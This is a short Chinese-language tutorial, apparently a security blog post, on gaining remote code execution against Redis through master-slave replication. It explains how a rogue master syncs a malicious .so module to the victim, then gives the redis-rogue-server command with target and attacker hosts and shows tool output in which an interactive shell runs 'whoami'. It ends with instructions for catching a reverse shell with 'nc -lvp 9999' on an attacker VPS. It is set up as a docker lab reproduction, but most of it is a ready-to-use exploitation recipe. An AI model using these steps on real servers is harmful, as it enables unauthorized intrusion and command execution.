Redis简介

redis是一个使用C语言编写,开源高性能非关系型的键值对存储系统,和memcached类似,在企业中一般被当作缓存中间件使用,典型的应用场景如秒杀活动、热点数据缓存和分布式锁等。

环境搭建

docker pull damonevking/redis5.0 
docker run -p 6379:6379 -d damonevking/redis5.0 redis-server

Redis_主从复制 RCE原理

通过主从同步getshell利用的就是1.4主从同步机制,原理是将受害机设为主从模式,主端为攻击端,攻击端将恶意.so文件同步到受害端,通过module load命令加载.so文件,从而实现命令执行。exp地址:https://github.com/n0b0dyCN/redis-rogue-server

利用工具复现

使用工具可以一把梭。
python redis-rogue-server.py --rhost 目标ip --lhost vpsip

[root@localhost redis-rogue-server-master]# python3 redis-rogue-server.py --rhost 192.168.11.136 --lhost 192.168.11.136
______         _ _      ______                         _____                          
| ___ \       | (_)     | ___ \                       /  ___|                         
| |_/ /___  __| |_ ___  | |_/ /___   __ _ _   _  ___  \ `--.  ___ _ ____   _____ _ __ 
|    // _ \/ _` | / __| |    // _ \ / _` | | | |/ _ \  `--. \/ _ \ '__\ \ / / _ \ '__|
| |\ \  __/ (_| | \__ \ | |\ \ (_) | (_| | |_| |  __/ /\__/ /  __/ |   \ V /  __/ |   
\_| \_\___|\__,_|_|___/ \_| \_\___/ \__, |\__,_|\___| \____/ \___|_|    \_/ \___|_|   
                                     __/ |                                            
                                    |___/                                             
@copyright n0b0dy @ r3kapig

[info] TARGET 192.168.11.136:6379
[info] SERVER 192.168.11.136:21000
[info] Setting master...
[info] Setting dbfilename...
[info] Loading module...
[info] Temerory cleaning up...
What do u want, [i]nteractive shell or [r]everse shell: i
[info] Interact mode start, enter "exit" to quit.
[<<] whoami
[>>] redis
[<<] 

输入i是交互shell,输入r就是反弹shell,姿势跟普通的反弹shell一样。
vps开启监听。
nc -lvp 9999
然后在输入r之后输入ip和端口就行了。